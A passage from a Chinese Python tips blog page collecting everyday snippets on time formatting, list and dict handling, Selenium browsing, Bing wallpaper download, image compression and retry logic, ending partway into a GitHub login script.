输出当前时间距离1970.1.1的秒数,精确到小数点后6位，也叫做时间戳</span><br><span class="line">#output sample: 1543799532.602318</span><br><span class="line">print(t0)</span><br><span class="line"></span><br><span class="line">t1 = time.localtime(t0)</span><br><span class="line">#description:   把时间戳转成元组,包含七个元素,前六个见名知意,tm_wday是指今天是当前周的第几天(index from 0),tm_yday类似,tm_isdst是否是夏令时,不用关心</span><br><span class="line">#output sample: time.struct_time(tm_year=2018, tm_mon=12, tm_mday=3, tm_hour=9, tm_min=22, tm_sec=24, tm_wday=0, tm_yday=337, tm_isdst=0)</span><br><span class="line">print(t1)</span><br><span class="line">#so,可以这样输出今天是今年的第多少天</span><br><span class="line">print(t1[<span class="number">-2</span>]+<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">#下面是对该元组的格式化</span><br><span class="line"></span><br><span class="line">#description:   简单可读形式</span><br><span class="line">#output sample: Mon Dec  3 09:31:18 2018</span><br><span class="line">t2 = time.asctime(t1)</span><br><span class="line">print(t2)</span><br><span class="line"></span><br><span class="line">#description:   可通过参数设置成各种形式，下面是一种标准形式,各参数见名知意</span><br><span class="line">#output sample: 2018-12-03 09:33:36</span><br><span class="line">t3 = time.strftime(<span class="string">"%Y-%m-%d %H:%M:%S"</span>, t1)</span><br><span class="line">print(t3)</span><br><span class="line">#%y 两位数的年份表示（00-99）</span><br><span class="line"># %Y 四位数的年份表示（000-9999）</span><br><span class="line"># %m 月份（01-12）</span><br><span class="line"># %d 月内中的一天（0-31）</span><br><span class="line"># %H 24小时制小时数（0-23）</span><br><span class="line"># %I 12小时制小时数（01-12）</span><br><span class="line"># %M 分钟数（00=59）</span><br><span class="line"># %S 秒（00-59）</span><br><span class="line">#</span><br><span class="line"># %a 本地简化星期名称</span><br><span class="line"># %A 本地完整星期名称</span><br><span class="line"># %b 本地简化的月份名称</span><br><span class="line"># %B 本地完整的月份名称</span><br><span class="line"># %c 本地相应的日期表示和时间表示</span><br><span class="line"># %j 年内的一天（001-366）</span><br><span class="line"># %p 本地A.M.或P.M.的等价符</span><br><span class="line"># %U 一年中的星期数（00-53）星期天为星期的开始</span><br><span class="line"># %w 星期（0-6），星期天为星期的开始</span><br><span class="line"># %W 一年中的星期数（00-53）星期一为星期的开始</span><br><span class="line"># %x 本地相应的日期表示</span><br><span class="line"># %X 本地相应的时间表示</span><br><span class="line"># %Z 当前时区的名称</span><br><span class="line"># %% %号本身</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"># 下面是把格式化字符串转成元组</span><br><span class="line"># description:      第一个参数个格式化后的字符串,后一个参数和格式化对应，便于反格式化</span><br><span class="line"># output sample:    time.struct_time(tm_year=2018, tm_mon=12, tm_mday=3, tm_hour=9, tm_min=47, tm_sec=7, tm_wday=0, tm_yday=337, tm_isdst=-1)</span><br><span class="line">t4 = time.strptime(t3,<span class="string">'%Y-%m-%d %H:%M:%S'</span>)</span><br><span class="line">print(t4)</span><br><span class="line"></span><br><span class="line"># 把元组转成时间戳</span><br><span class="line">#description:   是time.localtime的反函数,不过由于格式化的原因，精度有所下降</span><br><span class="line">#output sample: 1543801627.0</span><br><span class="line">t5 = time.mktime(t4)</span><br><span class="line">print(t5)</span><br><span class="line"></span><br><span class="line"># -*- coding: utf-8 -*-</span><br><span class="line"># author:           inpurer(月小水长)</span><br><span class="line"># pc_type           lenovo</span><br><span class="line"># create_date:      2018/12/3</span><br><span class="line"># file_name:        timetest.py</span><br><span class="line"># description:      月小水长，热血未凉</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> datetime</span><br><span class="line"></span><br><span class="line">#通过datetime.datetime.now()可以获得当前日期时间的一个实例</span><br><span class="line">#这个实例是一个datetime类对象而不是字符串</span><br><span class="line">#虽然直接打印该实例输出的是一个字符串,只是调用datetime实现的__str__方法而已</span><br><span class="line">t0 = datetime.datetime.now()</span><br><span class="line">print(t0)           #print: 2018-12-03 12:55:49.905971</span><br><span class="line">print(type(t0))     #print: &lt;class 'datetime.datetime'&gt;</span><br><span class="line"></span><br><span class="line">#然后就可以通过对象名.的方法输出各个时间信息,该信息是一个int类型</span><br><span class="line">print(t0.year)          #print: 2018</span><br><span class="line">print(type(t0.year))    #print: &lt;class 'int'&gt;</span><br><span class="line">print(t0.month)</span><br><span class="line">print(t0.day)</span><br><span class="line">print(t0.hour)</span><br><span class="line">print(t0.minute)</span><br><span class="line">print(t0.second)</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> datetime</span><br><span class="line">t0 = datetime.datetime.now()</span><br><span class="line">#注意year/month/day都是int类型，不像java那样可以直接拼接字符串和数字</span><br><span class="line">wanted_time = str(t0.year)+<span class="string">"-"</span>+str(t0.month)+<span class="string">"-"</span>+str(t0.day)</span><br><span class="line">#https://inspurer.github.io/2018/12/03/%E4%B8%80%E6%96%87%E6%90%9E%E5%AE%9Apython%E7%9A%84%E6%97%B6%E9%97%B4%E5%A4%84%E7%90%86/</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line">t0 = time.localtime()</span><br><span class="line">wanted_time = time.strftime(<span class="string">"%Y-%m-%d"</span>,t0)</span><br></pre></td></tr></table></figure>
<h3 id="error-Microsoft-Visual-C-14-0-is-required"><a href="#error-Microsoft-Visual-C-14-0-is-required" class="headerlink" title="error: Microsoft Visual C++ 14.0 is required"></a>error: Microsoft Visual C++ 14.0 is required</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">源码安装，但是没有 C++ 的编译环境</span><br><span class="line"></span><br><span class="line"> </span><br><span class="line">error: Microsoft Visual C++ <span class="number">14.0</span> is required. Get it <span class="keyword">with</span> <span class="string">"Microsoft Visual</span></span><br><span class="line"><span class="string">C++ Build Tools"</span>: http:<span class="comment">//landinghub.visualstudio.com/visual-cpp-build-tools</span></span><br><span class="line">如果是 Python <span class="number">27</span> 可以安装 Microsoft Visual C++ Compiler <span class="keyword">for</span> Python  <span class="number">2.7</span> https:<span class="comment">//www.microsoft.com/en-us/download/details.aspx?id=44266</span></span><br><span class="line">如果是 Python <span class="number">3</span> 可以安装 Visual C++ <span class="number">2015</span> Build Tools http:<span class="comment">//landinghub.visualstudio.com/visual-cpp-build-tools</span></span><br><span class="line">或者使用下载编译好的 exe 文件</span><br><span class="line">或者使用 whl 格式的包</span><br></pre></td></tr></table></figure>
<h3 id="逗号引发的悲剧"><a href="#逗号引发的悲剧" class="headerlink" title="逗号引发的悲剧"></a>逗号引发的悲剧</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line">&gt;&gt;&gt; a = [</span><br><span class="line">...     <span class="string">'foo'</span></span><br><span class="line">...     <span class="string">'bar'</span>,</span><br><span class="line">...     <span class="string">'tree'</span></span><br><span class="line">... ]</span><br><span class="line">&gt;&gt;&gt;</span><br><span class="line">&gt;&gt;&gt; b = <span class="string">'foo'</span> <span class="string">'bar'</span></span><br><span class="line">&gt;&gt;&gt;</span><br><span class="line">&gt;&gt;&gt; print a</span><br><span class="line">[<span class="string">'foobar'</span>, <span class="string">'tree'</span>]</span><br><span class="line">&gt;&gt;&gt; print b</span><br><span class="line">foobar</span><br><span class="line">&gt;&gt;&gt;</span><br><span class="line">也就是说 <span class="string">'foo'</span> + <span class="string">'bar'</span> 等价于 <span class="string">'foo'</span> <span class="string">'bar'</span></span><br><span class="line"></span><br><span class="line">再来看另外一个例子，注意第二行后面的逗号</span><br><span class="line"> </span><br><span class="line">&gt;&gt;&gt; a = &#123;<span class="string">'foo'</span>: <span class="string">'bar'</span>&#125;</span><br><span class="line">&gt;&gt;&gt; b = a.get(<span class="string">'foo'</span>),</span><br><span class="line">&gt;&gt;&gt; c = a.get(<span class="string">'foo'</span>)</span><br><span class="line">&gt;&gt;&gt; print(b)</span><br><span class="line">(<span class="string">'bar'</span>,)</span><br><span class="line">&gt;&gt;&gt; print(c)</span><br><span class="line">bar</span><br><span class="line">&gt;&gt;&gt;</span><br><span class="line">本来 b 应该是一个字符串，结果硬是变成了元组。https:<span class="comment">//www.restran.net/2015/11/07/python-comma-issue/</span></span><br></pre></td></tr></table></figure>
<h3 id="Python获取Bing图片做壁纸"><a href="#Python获取Bing图片做壁纸" class="headerlink" title="Python获取Bing图片做壁纸"></a>Python获取Bing图片做壁纸</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line">http:<span class="comment">//jeffyang.top/Python/python%E8%8E%B7%E5%8F%96Bing%E5%9B%BE%E7%89%87%E5%81%9A%E5%A3%81%E7%BA%B8/</span></span><br><span class="line">def get_url(day=<span class="number">0</span>):</span><br><span class="line">    url = <span class="string">"https://www.bing.com/HPImageArchive.aspx?format=js&amp;idx="</span> + str(day) + <span class="string">"&amp;n=1&amp;nc=1509675905008&amp;pid=hp&amp;video=1"</span></span><br><span class="line">    <span class="keyword">return</span> url</span><br><span class="line">def get_img(url, path=<span class="string">"D://wallpaper/"</span>):</span><br><span class="line">    isExists = os.path.exists(path)#https://github.com/JianFengY/BingSpider</span><br><span class="line">    <span class="keyword">if</span> not isExists:</span><br><span class="line">        os.makedirs(path) </span><br><span class="line">    html = requests.get(url)</span><br><span class="line">    content = html.json()</span><br><span class="line">    src = <span class="string">"https://www.bing.com"</span> + content[<span class="string">'images'</span>][<span class="number">0</span>][<span class="string">'url'</span>]</span><br><span class="line">    urlretrieve(src, path + content[<span class="string">'images'</span>][<span class="number">0</span>][<span class="string">'enddate'</span>] + <span class="string">'.jpg'</span>)</span><br><span class="line">def set_wallpaper_from_bmp(bmp_path):  </span><br><span class="line">    reg_key = win32api.RegOpenKeyEx(win32con.HKEY_CURRENT_USER, <span class="string">"Control Panel\\Desktop"</span>, <span class="number">0</span>, win32con.KEY_SET_VALUE)    </span><br><span class="line">    win32api.RegSetValueEx(reg_key, <span class="string">"WallpaperStyle"</span>, <span class="number">0</span>, win32con.REG_SZ, <span class="string">"2"</span>)  </span><br><span class="line">    win32api.RegSetValueEx(reg_key, <span class="string">"TileWallpaper"</span>, <span class="number">0</span>, win32con.REG_SZ, <span class="string">"0"</span>)  </span><br><span class="line">    win32gui.SystemParametersInfo(win32con.SPI_SETDESKWALLPAPER, bmp_path, win32con.SPIF_SENDWININICHANGE)  </span><br><span class="line">def set_wallpaper(img_path):  </span><br><span class="line">    isExists = os.path.exists(img_path)</span><br><span class="line">    <span class="keyword">if</span> isExists:</span><br><span class="line">        img_dir = os.path.dirname(img_path)  </span><br><span class="line">        bmpImage = Image.open(img_path)  </span><br><span class="line">        new_bmp_path = os.path.join(img_dir, <span class="string">'wallpaper.bmp'</span>)  </span><br><span class="line">        bmpImage.save(new_bmp_path, <span class="string">"BMP"</span>)  </span><br><span class="line">        set_wallpaper_from_bmp(new_bmp_path)  </span><br><span class="line">        <span class="keyword">return</span> True</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">return</span> False</span><br></pre></td></tr></table></figure>
<h3 id="自动化测试工具from-selenium-import-webdriver"><a href="#自动化测试工具from-selenium-import-webdriver" class="headerlink" title="自动化测试工具from selenium import webdriver"></a>自动化测试工具from selenium import webdriver</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line">           <span class="keyword">from</span> selenium.webdriver.common.by <span class="keyword">import</span> By</span><br><span class="line">           <span class="keyword">from</span> selenium.webdriver.common.keys <span class="keyword">import</span> Keys</span><br><span class="line">           <span class="keyword">from</span> selenium.webdriver.support <span class="keyword">import</span> expected_conditions <span class="keyword">as</span> EC</span><br><span class="line">           <span class="keyword">from</span> selenium.webdriver.support.wait <span class="keyword">import</span> WebDriverWait</span><br><span class="line">           </span><br><span class="line">           browser = webdriver.Chrome()</span><br><span class="line">           <span class="keyword">try</span>:</span><br><span class="line">               browser.get(<span class="string">'https://www.baidu.com'</span>)</span><br><span class="line">               input = browser.find_element_by_id(<span class="string">'kw'</span>)</span><br><span class="line">               input.send_keys(<span class="string">'Python'</span>)</span><br><span class="line">               input.send_keys(Keys.ENTER)</span><br><span class="line">               wait = WebDriverWait(browser, <span class="number">10</span>)</span><br><span class="line">               wait.until(EC.presence_of_element_located((By.ID, <span class="string">'content_left'</span>)))</span><br><span class="line">               print(browser.current_url)</span><br><span class="line">               print(browser.get_cookies())</span><br><span class="line">               print(browser.page_source)</span><br><span class="line">           <span class="keyword">finally</span>:</span><br><span class="line">               browser.close()</span><br><span class="line"></span><br><span class="line">browser = webdriver.Chrome()</span><br><span class="line">browser.get(<span class="string">'https://www.zhihu.com/explore'</span>)</span><br><span class="line">browser.execute_script(<span class="string">'window.scrollTo(0, document.body.scrollHeight)'</span>)</span><br><span class="line">browser.execute_script(<span class="string">'alert("To Bottom")'</span>)</span><br><span class="line"></span><br><span class="line">browser = webdriver.Chrome()</span><br><span class="line">browser.implicitly_wait(<span class="number">10</span>)</span><br><span class="line">browser.get(<span class="string">'https://www.zhihu.com/explore'</span>)</span><br><span class="line">input = browser.find_element_by_class_name(<span class="string">'zu-top-add-question'</span>)</span><br><span class="line">print(input)</span><br><span class="line"></span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line">    browser.get(<span class="string">'https://www.baidu.com'</span>)</span><br><span class="line">except TimeoutException:</span><br><span class="line">    print(<span class="string">'Time Out'</span>)</span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line">    browser.find_element_by_id(<span class="string">'hello'</span>)</span><br><span class="line">except NoSuchElementException:</span><br><span class="line">    print(<span class="string">'No Element'</span>)</span><br><span class="line"><span class="keyword">finally</span>:</span><br><span class="line">    browser.close()</span><br><span class="line">    </span><br><span class="line">    http:<span class="comment">//jeffyang.top/Python/%E7%88%AC%E8%99%AB/Python%E7%88%AC%E8%99%AB%E5%B8%B8%E7%94%A8%E5%BA%93selenium%E8%AF%A6%E8%A7%A3/</span></span><br></pre></td></tr></table></figure>
<h3 id="取交集，并集和差集"><a href="#取交集，并集和差集" class="headerlink" title="取交集，并集和差集"></a>取交集，并集和差集</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">a = [<span class="string">'a'</span>,<span class="string">'b'</span>,<span class="string">'c'</span>]，b = [<span class="string">'b'</span>,<span class="string">'c'</span>,<span class="string">'d'</span>]</span><br><span class="line"></span><br><span class="line">交集:</span><br><span class="line"></span><br><span class="line">print list(set(a).intersection(set(b)))</span><br><span class="line"></span><br><span class="line">#或者</span><br><span class="line">isec = [val <span class="keyword">for</span> val <span class="keyword">in</span> a <span class="keyword">if</span> val <span class="keyword">in</span> b]</span><br><span class="line">print isec</span><br><span class="line"></span><br><span class="line">并集</span><br><span class="line">print list(set(a).union(set(b)))</span><br><span class="line">差集</span><br><span class="line">print list(set(b).difference(set(a))) # b-a</span><br><span class="line">a = [[<span class="number">1</span>,<span class="number">2</span>],[<span class="number">3</span>,<span class="number">4</span>],[<span class="number">1</span>,<span class="number">4</span>]]</span><br><span class="line">b = [x <span class="keyword">for</span> j <span class="keyword">in</span> a <span class="keyword">for</span> x <span class="keyword">in</span> j]</span><br><span class="line">print b</span><br><span class="line">[<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">1</span>, <span class="number">4</span>]</span><br></pre></td></tr></table></figure>
<h3 id="list分割成固定长度子list"><a href="#list分割成固定长度子list" class="headerlink" title="list分割成固定长度子list"></a>list分割成固定长度子list</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">def splite_list(splist, s):</span><br><span class="line">    <span class="string">""</span><span class="string">"splite a list to sub list contain s"</span><span class="string">""</span></span><br><span class="line">    <span class="keyword">return</span> [splist[i:i + s] <span class="keyword">for</span> i <span class="keyword">in</span> range(len(splist)) <span class="keyword">if</span> i % s == <span class="number">0</span>]</span><br><span class="line"></span><br><span class="line">#test</span><br><span class="line">list1 = range(<span class="number">10</span>)</span><br><span class="line">splite_list(list1,<span class="number">2</span>)</span><br><span class="line">[[<span class="number">0</span>, <span class="number">1</span>], [<span class="number">2</span>, <span class="number">3</span>], [<span class="number">4</span>, <span class="number">5</span>], [<span class="number">6</span>, <span class="number">7</span>], [<span class="number">8</span>, <span class="number">9</span>]]</span><br></pre></td></tr></table></figure>
<h3 id="生成英文字母表"><a href="#生成英文字母表" class="headerlink" title="生成英文字母表"></a>生成英文字母表</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">小写字母表</span><br><span class="line">list(map(chr,list(range(<span class="number">97</span>, <span class="number">123</span>))))</span><br><span class="line"></span><br><span class="line">大写字母</span><br><span class="line">list(map(chr,list(range(<span class="number">65</span>, <span class="number">91</span>))))</span><br><span class="line"></span><br><span class="line">小写字母表</span><br><span class="line"><span class="keyword">import</span> string</span><br><span class="line">string.ascii_uppercase</span><br><span class="line"></span><br><span class="line">大写字母</span><br><span class="line"><span class="keyword">import</span> string</span><br><span class="line">string.ascii_lowercase</span><br></pre></td></tr></table></figure>
<h3 id="字典排序"><a href="#字典排序" class="headerlink" title="字典排序"></a>字典排序</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">按键排序</span><br><span class="line">dic = &#123;<span class="string">'a'</span>:<span class="number">11</span> , <span class="string">'b'</span>:<span class="number">5</span> , <span class="string">'c'</span>: <span class="number">7</span>&#125;</span><br><span class="line"></span><br><span class="line"># 升序排序</span><br><span class="line">sorted(dic.keys())</span><br><span class="line"></span><br><span class="line">#　降序排序</span><br><span class="line">sorted(dic.keys(), reverse=True)</span><br><span class="line"></span><br><span class="line">按值排序</span><br><span class="line">dic = &#123;<span class="string">'a'</span>:<span class="number">11</span> , <span class="string">'b'</span>:<span class="number">5</span> , <span class="string">'c'</span>: <span class="number">7</span>&#125;</span><br><span class="line"></span><br><span class="line"># 升序</span><br><span class="line">sorted(dic.items(), key = lambda x:x[<span class="number">1</span>])</span><br><span class="line"></span><br><span class="line"># 降序</span><br><span class="line">sorted(dic.items(), key = lambda x:x[<span class="number">1</span>],reverse =True)</span><br></pre></td></tr></table></figure>
<h3 id="微信公众号或网页自动导出"><a href="#微信公众号或网页自动导出" class="headerlink" title="微信公众号或网页自动导出"></a>微信公众号或网页自动导出</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">https:<span class="comment">//juejin.im/post/5b4cc601f265da0f5a2545a9</span></span><br><span class="line">https:<span class="comment">//github.com/MartinHan01/webpage2img</span></span><br><span class="line">pip install pillow</span><br><span class="line">init_filelist()</span><br><span class="line">    #首先初始化webdirver</span><br><span class="line">    driver = webdriver.Chrome()</span><br><span class="line">    #设置输出路径</span><br><span class="line">    dir = <span class="string">'./result'</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">for</span> item <span class="keyword">in</span> filelist:</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            #获取图片路径，标题，以及输出路径</span><br><span class="line">            #自动滚动，并截图保存</span><br><span class="line">            pic_path,title = save_url(driver, item, dir)</span><br><span class="line">            #开始合并我们刚刚截的所有图</span><br><span class="line">            package_picture(pic_path, os.path.abspath(dir), title)</span><br><span class="line">        except Exception <span class="keyword">as</span> e :</span><br><span class="line">            print(e)</span><br><span class="line">python crop.py</span><br></pre></td></tr></table></figure>
<h3 id="批量压缩图片"><a href="#批量压缩图片" class="headerlink" title="批量压缩图片"></a>批量压缩图片</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">pip install --upgrade tinify</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> tinify</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"></span><br><span class="line">tinify.key = <span class="string">'此处填入你的key'</span></span><br><span class="line">path = "xxx" # 图片存放的路径</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> dirpath, dirs, files <span class="keyword">in</span> os.walk(path):</span><br><span class="line">    <span class="keyword">for</span> file <span class="keyword">in</span> files:</span><br><span class="line">        imgpath = os.path.join(dirpath, file)</span><br><span class="line">        print(<span class="string">"compressing ..."</span>+ imgpath)</span><br><span class="line">        tinify.from_file(imgpath).to_file(imgpath)</span><br></pre></td></tr></table></figure>
<h3 id="重试"><a href="#重试" class="headerlink" title="重试"></a>重试</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> random</span><br><span class="line"><span class="keyword">from</span> tenacity <span class="keyword">import</span> retry</span><br><span class="line">@retry</span><br><span class="line">def do_something_unreliable():</span><br><span class="line">    <span class="keyword">if</span> random.randint(<span class="number">0</span>, <span class="number">10</span>) &gt; <span class="number">1</span>:</span><br><span class="line">        raise IOError(<span class="string">"Broken sauce, everything is hosed!!!111one"</span>)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="string">"Awesome sauce!"</span></span><br><span class="line">print(do_something_unreliable())</span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> tenacity <span class="keyword">import</span> *</span><br><span class="line">@retry(stop=(stop_after_delay(<span class="number">10</span>) | stop_after_attempt(<span class="number">5</span>)), wait=wait_fixed(<span class="number">2</span>))</span><br><span class="line">def stop_after_10_s_or_5_retries():</span><br><span class="line">    print(<span class="string">"Stopping after 10 seconds or 5 retries"</span>)</span><br><span class="line">    raise Exception</span><br><span class="line">    </span><br><span class="line"> 重试<span class="number">5</span>次，每次间隔<span class="number">10</span>秒，重试前等待<span class="number">2</span>秒</span><br><span class="line">   def func():</span><br><span class="line">       pass</span><br><span class="line">   <span class="keyword">for</span> _ <span class="keyword">in</span> range(<span class="number">0</span>,<span class="number">100</span>):</span><br><span class="line">       <span class="keyword">while</span> True:</span><br><span class="line">           <span class="keyword">try</span>:</span><br><span class="line">               func()</span><br><span class="line">           except SomeSpecificException:</span><br><span class="line">               <span class="keyword">continue</span></span><br><span class="line">           <span class="keyword">break</span></span><br><span class="line"> def verify_url(url):</span><br><span class="line">     <span class="keyword">import</span> requests</span><br><span class="line">     <span class="keyword">try</span>:</span><br><span class="line">         requests.get(url, timeout=<span class="number">10</span>)</span><br><span class="line">         <span class="keyword">return</span> True</span><br><span class="line">     except requests.exceptions.ConnectTimeout:</span><br><span class="line">         <span class="keyword">return</span> False</span><br><span class="line"> def main():</span><br><span class="line">     <span class="keyword">for</span> _ <span class="keyword">in</span> range(<span class="number">5</span>):</span><br><span class="line">         <span class="keyword">try</span>:</span><br><span class="line">             <span class="keyword">if</span> verify_url(<span class="string">''</span>):</span><br><span class="line">                 <span class="keyword">return</span></span><br><span class="line">             <span class="keyword">else</span>:</span><br><span class="line">                 <span class="keyword">continue</span></span><br><span class="line">         except KeyError:</span><br><span class="line">             <span class="keyword">continue</span></span><br><span class="line"> <span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line">     main()          </span><br><span class="line">    https:<span class="comment">//zhangslob.github.io/2019/01/14/Python%E9%87%8D%E8%AF%95%E7%9A%84%E5%A4%9A%E9%87%8D%E6%96%B9%E6%B3%95/</span></span><br></pre></td></tr></table></figure>
<h3 id="登录GitHub"><a href="#登录GitHub" class="headerlink" title="登录GitHub"></a>登录GitHub</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#!/usr/bin/env python</span></span><br><span class="line"># -*- coding: utf-8 -*-</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line">headers = &#123;</span><br><span class="line">    <span class="string">'Accept'</span>: <span class="string">'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8'</span>,</span><br><span 